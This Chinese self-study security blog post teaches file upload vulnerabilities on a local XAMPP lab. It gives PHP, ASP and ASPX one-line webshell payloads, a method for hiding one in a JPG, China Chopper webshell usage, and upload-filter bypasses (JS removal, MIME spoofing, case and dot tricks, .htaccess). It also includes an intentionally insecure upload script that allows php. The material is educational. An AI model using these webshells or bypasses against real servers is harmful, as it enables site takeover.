[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)

这是作者的系列网络安全自学教程,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友共勉,希望您们喜欢,一起进步。前文分享了Sqlmap的基本用法、CTF实战,包括设置HTTP、POST请求、参数分割、设置Cookie等。本篇文章详细讲解了文件上传漏洞,通过本地环境搭建介绍相关原理及Caidao的基本用法。

作者作为网络安全的小白,分享一些自学基础教程给大家,希望您们喜欢。同时,更希望您能与我一起操作共同进步,后续也将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果对您有帮助,将是我最大的鼓励。

PS:本文参考了B站、51CTO学院和参考文献中的文章,并结合自己的经验进行撰写,也推荐大家阅读参考文献。

下载地址:https://github.com/eastmountyxz/NetworkSecuritySelf-study

前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向破解
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)

前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差异备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包

该篇文章参考了以下文献,非常推荐大家阅读这些大牛的文章和视频:
https://github.com/eastmountyxz
《Web安全深度剖析》《黑客攻防技术宝典浏览器实战篇》
https://www.bilibili.com/video/av60018118 (B站白帽黑客教程)
https://www.bilibili.com/video/av63038037 (B站HACK学习)
https://www.bilibili.com/video/av68215785 (2019 网络安全/黑客基础课程新手入门必看)
2019/Web安全/漏洞挖掘/信息收集/SQLMAP/SSRF/文件上传/逻辑漏洞 (B站强推)
https://blog.csdn.net/weixin_42380348/article/details/89199344
一句话木马、中国菜刀、图片一句话制作、过狗一句话 - 汉堡阿汉堡
2019文件上传漏洞专题渗透入门网络安全黑客web攻防详解 (FoxB站强推)

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。


一.文件上传漏洞概述及本地环境搭建

1.原理知识

Web应用程序通常会有文件上传的功能,例如,在BBS发布图片、在个人网站发布压缩包、在招聘网站发布DOC格式简历等。只要Web应用程序允许上传文件,就有可能存在文件上传漏洞。

文件上传漏洞与SQL注入相比,其风险更大,如果Web应用程序存在文件上传漏洞,攻击者甚至可以直接上传一个WebShell到服务器上。那么,如何确认Web应用程序是否存在上传漏洞呢?比如,我的网站是一个BBS论坛,由PHP编写,用户可以上传自己的个性化头像,也就是图片文件,但文件上传时并没有对图片格式做验证,导致用户可以上传任意文件,那么这就是一个漏洞。如下图所示,通过文件上传漏洞获取了整个网站的目录。

在这里插入图片描述

在这篇文章中,作者仅简单介绍文件上传漏洞的基础知识,后面还会陆续分享几篇博文,详细讲解各种文件上传漏洞的案例及防御措施。基础文章,希望对想成为白帽子或安全工程师的博友有所帮助。下图展示了网络安全涉及的各种技术:

在这里插入图片描述


2.环境搭建

首先,作者简单搭建了一个本地PHP的服务器环境,读者也可以尝试远程服务器进行测试。
非常遗憾,最终案例是失败的,但基本的流程和方法原理类似,也希望对您有所帮助。

第一步,安装XAMPP软件,Apache+MySQL+PHP实现服务器搭建。

在这里插入图片描述

第二步,点击Apache运行,如下图所示,然后点击文件夹“Explorer”图标。该文件夹将存放我们的PHP文件,它是一个本地的服务器,当然您也可以将您的PHP文件上传到远程服务器上。

在这里插入图片描述

第三步,放入我们的两个PHP文件。

在这里插入图片描述

index.php是一个上传页面,包含一个文件选择和上传按钮,并调用upload_server.php文件执行上传操作。

<!DOCTYPE html>
<html>
<head>
	<title>文件上传</title>
	<meta charset="utf-8">
</head>
<body>
	<center>
		<!-- enctype="mulipart/form-data"属性是指以二进制方式进行数据传输 
		传输文件需要设置-->
		<form action="upload_server.php" method="post" enctype="multipart/form-data">
		<input type="hidden" name="max_file_size" value="1048576">
		<input type="file" name="file">
		<input type="submit" name="上传">		
	</form>
	</center>
</body>
</html>

upload_server.php是具体的上传操作,代码如下所示,调用move_uploaded_file函数实现上传。具体参考CSDN阿南大神的文章,也非常推荐大家阅读。
原文地址:https://blog.csdn.net/weixin_42380348/article/details/89199344

<?php 
	header("content-type:text/html;charset=utf-8");
	//设置时区
	date_default_timezone_set('PRC');
	//获取文件名
	$filename = $_FILES['file']['name'];
	//获取文件临时路径
	$temp_name = $_FILES['file']['tmp_name'];
	//获取大小
	$size = $_FILES['file']['size'];
	//获取文件上传码,0代表文件上传成功
	$error = $_FILES['file']['error'];
	//判断文件大小是否超过设置的最大上传限制
	if ($size > 2*1024*1024){
		//
		echo "<script>alert('文件大小超过2M大小');window.history.go(-1);</script>";
		exit();
	}
	//phpinfo函数会以数组的形式返回关于文件路径的信息 
	//[dirname]:目录路径[basename]:文件名[extension]:文件后缀名[filename]:不包含后缀的文件名
	$arr = pathinfo($filename);
	//获取文件的后缀名
	$ext_suffix = $arr['extension'];
	//设置允许上传文件的后缀
	$allow_suffix = array('jpg','gif','jpeg','png','php');
	//判断上传的文件是否在允许的范围内(后缀)==>白名单判断
	if(!in_array($ext_suffix, $allow_suffix)){
		//window.history.go(-1)表示返回上一页并刷新页面
		echo "<script>alert('上传的文件类型只能是jpg,gif,jpeg,png');window.history.go(-1);</script>";
		exit();
	}
	//检测存放上传文件的路径是否存在,如果不存在则新建目录
	if (!file_exists('uploads')){
		mkdir('uploads');
	}
	//为上传的文件新起一个名字,保证更加安全
	//$new_filename = date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix;
	$new_filename = $filename;
	//将文件从临时路径移动到磁盘
	if (move_uploaded_file($temp_name, 'uploads/'.$new_filename)){
		echo "<script>alert('文件上传成功!');window.history.go(-1);</script>";
	}else{
		echo "<script>alert('文件上传失败,错误码:$error');</script>";
	}
 ?>

第四步,访问该目录就能成功实现文件上传功能,如下图所示。
访问地址:http://localhost/eastmount/index.php

在这里插入图片描述

点击“选择文件”按钮,选择本地文件并提交。

在这里插入图片描述

上传成功之后,可以看到本地的uploads文件夹下有一张图片,并且能够成功访问。

在这里插入图片描述

访问地址:http://localhost/eastmount/uploads/mm.jpg

**加粗样式**

写到这里,一个简单的PHP文件上传功能就实现了,接下来开始讲解文件上传漏洞。


二.木马原理及Caidao

参考前文:[渗透&攻防] 三.数据库之差异备份及Caidao利器

1.一句话木马原理

“一句话木马”服务端: 本地存储的脚本木马文件,是我们要用来将恶意代码上传到服务器网站中执行权限。该语句触发后,接收入侵者通过客户端提交的数据,执行并完成相应的操作。服务端的代码内容为:

<?php eval($_POST[str]); ?>  //str为自定义内容

“一句话木马”客户端: 远程服务器上被插入一句话的asp可执行文件。用来向服务端提交控制数据,提交的数据通过服务端构成完整的功能语句并执行,生成我们需要的木马文件。

一句话木马短小精悍,功能强大且隐蔽性非常好,常见的种类包括asp、php、aspx。如下:

asp一句话木马:<%execute(request(“value”))%>
php一句话木马:<?php @eval($_POST[value]);?>
aspx一句话木马:<%@ Page Language=“Jscript”%>  <%eval(Request.Item[“value”])%>
其他一句话木马:<%eval request(“value”)%> <%execute request(“value”)%>
判断一句话木马:<%If Request(“value”)<>"" Then Execute(Request(“value”))%>
不用双引号的一句话木马:<%eval request(chr(35))%>

下图是一个test.php的文件,它包含了我们的一句话木马。

在这里插入图片描述


2.图片一句话木马制作

由于有些网站上传文件时,会检查你上传文件的头目录,如果你的一句话木马是放在PHP文件中,它很容易被识别出来。这个时候图片一句话木马的作用就体现出来了,后面会更详细的介绍。下面是一张mm.jpg图片文件,我们想办法要在该文件中加一句话木马。

在这里插入图片描述

首先尝试用notepad++打开该图片并添加一句话木马,如下图所示。

在这里插入图片描述

虽然添加了这样一句话,木马创建成功了,但此时的图片显示稍微有些模糊。这么模糊的图片不是留下痕迹吗?那怎么处理呢?

在这里插入图片描述

为了避免模糊,需要通过其他方法执行。第一种方式是使用如下的命令,其中b表示二进制,a表示ascii编码。

copy mm.jpg/b+test.php/a mm1.jpg

在CMD中直接运行,如下图所示。它是在mm.jpg图片中,插入test.php中的一句话木马 <?php eval($_POST[str]); ?> ,并存储为mm1.jpg图片。

在这里插入图片描述

如下图所示,这是同一个目录下对应的三个文件。

在这里插入图片描述

用Notepad++打开“mm1.jpg”可以看到,里面包含了一句话木马,并且不影响我们的图片质量。

在这里插入图片描述

第二种方法,直接通过uedit软件打开,然后将代码复制至末尾即可。

在这里插入图片描述

注意,部分网站是有文件格式解析的,即网站会判断上传的脚本是否可以被执行,某些文件格式是无法被解析的,比如,上传jpg格式的无法被php格式解析。


3.Caidao案例

Caidao软件据说是一个退役士兵写的,真的很厉害。它是一款Webshell管理工具,支持各种语言,常见的包括ASP、ASPX、PHP、JSP、CFM等,现在蚁剑和冰蝎Behinder也非常不错,打开Caidao如下图所示。

在这里插入图片描述

接着尝试举一个例子,我们插入带有一句话木马的“mm1.jpg”文件至服务器。

在这里插入图片描述

然后再Caidao空白处右键“添加”,设置地址及口令,地址为目标URL,口令为“str”,对应一句话木马 <?php eval($_POST[str]); ?> 。如下图所示:

在这里插入图片描述

添加成功之后,选中该行数据,右键“文件管理”应该能查看目标网站的服务器文件目录,可惜作者失败了!O(∩_∩)O

在这里插入图片描述

正确的示例参考之前的文章,如下图所示:

在这里插入图片描述

在这里插入图片描述

PS:虽然案例失败了,但基本使用方法是一样的,后续作者会搭建远程服务器进行测试,也会继续深入学习。


4.Caidao原理

最后分享下中国菜刀软件的原理知识,点击某条链接,右键“虚拟终端”。

在这里插入图片描述

在虚拟终端中输入命令:ipconfig。

在这里插入图片描述

选中该条链接,并复制数据包的内容进行分析。

在这里插入图片描述

将抓取的数据包复制出来,如下图所示。

在这里插入图片描述

其中,%3DURL编码表示“=”,%2BURL编码表示“+”。

在这里插入图片描述

fox=base64表示对POST参数z0进行加密。

在这里插入图片描述

用软件Base64解密之后,得到z1的值为cmd。

在这里插入图片描述

同样的方法解析传递的z2值,结果如下图所示,包含一条路径及执行的ipconfig命令。

在这里插入图片描述

该参数可以通过浏览器POST提交,如下图所示,mantra Portable浏览器也是网络攻防的常见工具。

在这里插入图片描述

中国菜刀的基本原理是:往目标网站中加入一句话木马,然后你就可以在本地通过中国菜刀获取和控制整个网站目录。比如,我们可以把一句话木马插入到网站上的某个asp/aspx/php文件上,或者直接创建一个新的文件,在里面写入这些语句,然后把文件上传到网站上即可。打开中国菜刀,在空白处点击鼠标右键,选择“添加”选项;编辑相关参数,包括一句话木马所在的URL及密码,在URL列表中选中目标网站,点击鼠标右键,选择“文件管理”,可以看到网站的目录结构。


三.JS+MIME和文件扩展名限制

注意:该部分内容参考B站Fox大神的视频,非常推荐大家去学习,详见参考文献。

1.JS绕过文件上传

JS验证用于客户端本地的验证,所以如果你上传一个不正确的文件格式,它的判断会很快显示出来你上传的文件类型不正确。

JS判断代码: οnsubmit=“return checkFile()”

在这里插入图片描述

比如,上传其他文件会有相关的错误提示。

在这里插入图片描述

核心代码如下所示:

    //设置允许上传文件的后缀
	$allow_suffix = array('jpg','gif','jpeg','png');
	//判断上传的文件是否在允许的范围内(后缀)==>白名单判断
	if(!in_array($ext_suffix, $allow_suffix)){
		echo "<script>alert('上传的文件类型只能是jpg,gif,jpeg,png');window.history.go(-1);</script>";
		exit();
	}

在这里插入图片描述

第一种方法:删除 checkFile()函数。
第二种方法:尝试在允许上传格式的文件里添加.php格式。

在这里插入图片描述

如下图所示,添加之后成功上传。

在这里插入图片描述

第三种方法:JS验证本地上传。
拷贝源代码到本地分析,尝试删除JavaScript代码,并指定在action=“”中指定上传地址。 如下图所示,本地新建一个HTML文件并删除JavaScript判断代码,接着指定上传路径运行。

在这里插入图片描述

第四种方法:上传允许上传的文件,再用BurpSuite进行抓包改包。
比如,首先上传一个规则的文件“php.jpg”,再用BurpSuite抓包修改为“php.php”,

在这里插入图片描述


2.MIME绕过文件上传

MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型,是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。

核心作用:服务器判断你上传的是什么文件。其基本类型比如:

  • {".3gp", “video/3gpp” }
  • {".asp", “application/x-asap” }
  • {".avi", “video/x-msvideo” }
  • {".bmp", “image/bmp” }
  • {".cpp", “text/plain” }
  • {".jpe", “image/jpeg” }
  • {".mp4", “video/mp4” }

下面是使用BurpSuite抓取所上传的JPG文件和PHP文件的类型对比。

在这里插入图片描述

某些情况会限制上传文件的类型,此时也需要修改“Content-Type”类型。比如将上传的PHP文件Content-Type修改为“image/jpeg”。

在这里插入图片描述


3.扩展名限制上传

文件扩展名限制是通过客户端黑名单来限制上传文件的类型。

(1) 大小写绕过文件上传
首先,我们先来了解关于大小写绕过文件上传。顾名思义,大小写是把文件扩展名进行php测试绕过。如下图所示,“1.php”文件上传会被拦截,而修改成“1.phP”后成功上传。

在这里插入图片描述

需要注意,Windows和Linux下的两个文件名是不一样的,Windows下文件是不区分大小写的,Linux下文件是区分大小写的。

(2) 点、空格绕过文件上传
点和空格是在文件后缀上加上点和空格进行绕过。在文件后缀上添加空格重新命名,会自动删除所谓的空格,点同理会自动删除的,因为可能尝试欺骗服务器验证。系统默认是不支持加空格、加点的,比如“.php空格”会自动解析为“.php”,“.php.”会自动解析为“.php”。

这里需要使用BurpSuite抓包进行操作,如下图所示,将上传的“.php”文件后增加一个空格,再点击Forward进行上传。

在这里插入图片描述

同样,增加点或者点和空格交叉的文件也能成功上传。

在这里插入图片描述
并且能够成功访问,如下图所示。

在这里插入图片描述

(3) htaccess文件绕过上传
.htaccess文件或者“分布式配置文件”提供了针对每个目录改变配置的方法,即在一个特定的目录中放置一个包含指令的文件,其中的指令作用于此目录及其所有子目录。

简单来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。它的功能有:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或目录的访问、禁止目录列表、配置默认文档等。

这里我们需要用到的是改变文件扩展名,代码如下:

<FilesMatch "fox">
SetHandler application/x-httpd-php
</FilesMatch>

这里是把fox名字的文件全都以php来运行,需要特殊文件进行创建,如Notepad++。

在这里插入图片描述

首先上传一个“.htaccess”文件,再上传一个“fox.jpg”文件,它会将这张图片以php来解析。

在这里插入图片描述

在这里插入图片描述

显示如下图所示,因为是以php格式解析的,而不显示成一张jpg图片。

在这里插入图片描述

接着打开中国菜刀,获取了该服务器的目录。

在这里插入图片描述

现实的两个文件如下图所示:包括 “fox.jpg” 和 “.htaccess”。

在这里插入图片描述


四.总结

写道这里,这篇基础性文章就此结束,后面会继续分享文件上传漏洞,包括php345文件绕过上传、Windows ::$DATA绕过、apache解析漏洞上传等。最后希望基础性文章对您有所帮助,作者也是这个领域的菜鸟一枚,希望与您共同进步,共勉。

在这里插入图片描述

白天实验室忙碌,晚上出门捡到个大美女。下周办会,继续忙碌~

(By:Eastmount 2019-12-08 晚上9点 http://blog.csdn.net/eastmount/ )


发布了416 篇原创文章 · 获赞 5065 · 访问量 424万+
展开阅读全文

没有更多推荐了,返回首页

©️2019 CSDN 皮肤主题: 书香水墨 设计师: CSDN官方博客

分享到微信朋友圈

×

扫一扫,手机浏览